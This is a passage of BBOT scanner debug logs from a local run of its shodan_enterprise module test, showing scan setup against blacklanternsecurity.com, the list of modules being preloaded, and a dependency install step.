succeeded for 6/6 modules. +2026-02-27 19:09:05,299 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 19:09:05,302 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 19:09:05,470 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_2aodaljnjz +2026-02-27 19:09:05,470 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 19:09:05,605 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 19:09:05,605 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 19:09:05,606 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 19:09:05,609 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) +2026-02-27 19:09:05,707 [DEBUG] bbot.modules._scan_ingress base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) passed post-check +2026-02-27 19:09:05,707 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) +2026-02-27 19:09:05,708 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'distance-1', 'target', 'domain'}) in-scope because its main host matches the scan target +2026-02-27 19:09:05,709 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) +2026-02-27 19:09:05,710 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:09:05,710 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:05,711 [DEBUG] bbot.modules.dnsresolve base.py:1563 DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) passed post-check +2026-02-27 19:09:05,712 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting DNS_NAME("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'target', 'domain'}) +2026-02-27 19:09:05,713 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:05,714 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 19:09:05,715 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:05,716 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:09:05,717 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:05,718 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:05,719 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 19:09:05,724 [DEBUG] bbot.core.helpers.dns dns.py:190 Skipping wildcard detection on blacklanternsecurity.com because blacklanternsecurity.com is excluded in the config +2026-02-27 19:09:05,724 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) +2026-02-27 19:09:05,725 [DEBUG] bbot.modules._scan_egress base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) passed post-check +2026-02-27 19:09:05,725 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) +2026-02-27 19:09:05,725 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) +2026-02-27 19:09:05,727 [DEBUG] bbot.modules.output.python base.py:1563 Queueing DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) because precheck succeeded +2026-02-27 19:09:05,808 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 19:09:05,808 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 19:09:05,809 [DEBUG] bbot.modules.output.python base.py:1563 Got DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) from TARGET +2026-02-27 19:09:05,809 [DEBUG] bbot.modules.output.python base.py:1563 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) passed post-check +2026-02-27 19:09:05,809 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 19:09:05,809 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 19:09:05,810 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 19:09:05,810 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 19:09:05,810 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 19:09:05,811 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 19:09:05,812 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 19:09:05,812 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 19:09:05,912 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 19:09:05,912 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 19:09:05,926 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 19:09:05,927 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 19:09:05,927 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 19:09:05,933 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 19:09:05,934 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 19:09:05,934 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 19:09:05,935 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 19:09:05,936 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 19:09:05,937 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 19:09:06,061 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_2aodaljnjz completed in 0 seconds with status FINISHED +2026-02-27 19:09:06,061 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 19:09:06,062 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:09:06,063 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:06,064 [CRITICAL] bbot test_module_shodan_enterprise.py:19 DNS_NAME_UNRESOLVED("blacklanternsecurity.com", module=TARGET, tags={'in-scope', 'unresolved', 'target', 'domain'}) +2026-02-27 19:09:06,064 [CRITICAL] bbot test_module_shodan_enterprise.py:19 SCAN("{'id': 'SCAN:d868b898273587b28d472ead985ac94e1c2a362a', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 19:09:06,065 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test +2026-02-27 19:09:06,065 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected +2026-02-27 19:10:07,576 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 19:10:07,589 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 19:10:07,590 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 19:10:07,591 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 19:10:07,592 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 19:10:07,593 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 19:10:07,595 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 19:10:07,596 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 19:10:07,600 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 19:10:07,601 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 19:10:07,603 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 19:10:07,604 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 19:10:07,606 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 19:10:07,606 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 19:10:07,608 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 19:10:07,609 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 19:10:07,610 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 19:10:07,610 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 19:10:07,611 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 19:10:07,611 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 19:10:07,612 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz +2026-02-27 19:10:07,613 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache +2026-02-27 19:10:07,614 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 19:10:07,616 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 19:10:07,616 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 19:10:07,617 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 19:10:07,618 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 19:10:07,619 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 19:10:07,620 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 19:10:07,621 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 19:10:07,622 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 19:10:07,622 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 19:10:07,623 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 19:10:07,624 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 19:10:07,625 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 19:10:07,625 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 19:10:07,626 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 19:10:07,627 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 19:10:07,627 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 19:10:07,628 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 19:10:07,629 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 19:10:07,629 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 19:10:07,630 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 19:10:07,631 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 19:10:07,632 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 19:10:07,633 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal +2026-02-27 19:10:07,633 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-02-27 19:10:07,634 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-02-27 19:10:07,634 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-02-27 19:10:07,635 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-02-27 19:10:07,636 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-02-27 19:10:07,636 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-02-27 19:10:07,636 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 19:10:07,637 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 19:10:07,638 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 19:10:07,639 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 19:10:07,640 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 19:10:07,641 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 19:10:07,642 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 19:10:07,642 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 19:10:07,643 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 19:10:07,643 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 19:10:07,644 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 19:10:07,644 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 19:10:07,645 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 19:10:07,645 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 19:10:07,649 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 19:10:07,650 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 19:10:07,651 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 19:10:07,652 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 19:10:07,653 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 19:10:07,654 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 19:10:07,654 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 19:10:07,655 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 19:10:07,656 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 19:10:07,656 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 19:10:07,657 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 19:10:07,658 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 19:10:07,658 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 19:10:07,659 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 19:10:07,660 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 19:10:07,661 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 19:10:07,661 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 19:10:07,662 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 19:10:07,662 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 19:10:07,663 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 19:10:07,664 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 19:10:07,664 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 19:10:07,665 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 19:10:07,666 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 19:10:07,666 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 19:10:07,667 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 19:10:07,672 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 19:10:07,673 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 19:10:07,674 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 19:10:07,675 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 19:10:07,676 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 19:10:07,677 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 19:10:07,677 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 19:10:07,678 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 19:10:07,678 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 19:10:07,679 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 19:10:07,680 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 19:10:07,681 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 19:10:07,682 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 19:10:07,683 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 19:10:07,684 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 19:10:07,685 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 19:10:07,685 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 19:10:07,686 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 19:10:07,686 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 19:10:07,687 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 19:10:07,687 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 19:10:07,688 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 19:10:07,688 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 19:10:07,689 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 19:10:07,690 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 19:10:07,690 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 19:10:07,691 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 19:10:07,692 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 19:10:07,693 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 19:10:07,693 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 19:10:07,694 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 19:10:07,695 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 19:10:07,695 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 19:10:07,696 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 19:10:07,696 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 19:10:07,697 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 19:10:07,697 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 19:10:07,698 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 19:10:07,698 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 19:10:07,699 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 19:10:07,700 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 19:10:07,700 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 19:10:07,701 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 19:10:07,701 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 19:10:07,702 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 19:10:07,702 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 19:10:07,703 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 19:10:07,704 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 19:10:07,705 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 19:10:07,705 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 19:10:07,706 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 19:10:07,707 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 19:10:07,708 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 19:10:07,709 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 19:10:07,709 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 19:10:07,710 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 19:10:07,710 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 19:10:07,711 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 19:10:07,712 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 19:10:07,712 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 19:10:07,713 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 19:10:07,713 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 19:10:07,714 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 19:10:07,715 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 19:10:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 19:10:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 19:10:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 19:10:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 19:10:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 19:10:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 19:10:07,719 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 19:10:07,720 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 19:10:07,720 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 19:10:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 19:10:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 19:10:07,722 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 19:10:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 19:10:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 19:10:09,126 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:10:09,126 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 19:10:09,127 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 19:10:09,267 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 19:10:09,848 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 19:10:09,848 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 19:10:09,848 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 19:10:09,849 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 19:10:10,072 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 19:10:10,075 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 19:10:10,192 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 19:10:10,192 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 19:10:10,250 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 19:10:10,254 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 19:10:10,255 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 19:10:10,958 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 19:10:10,959 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers 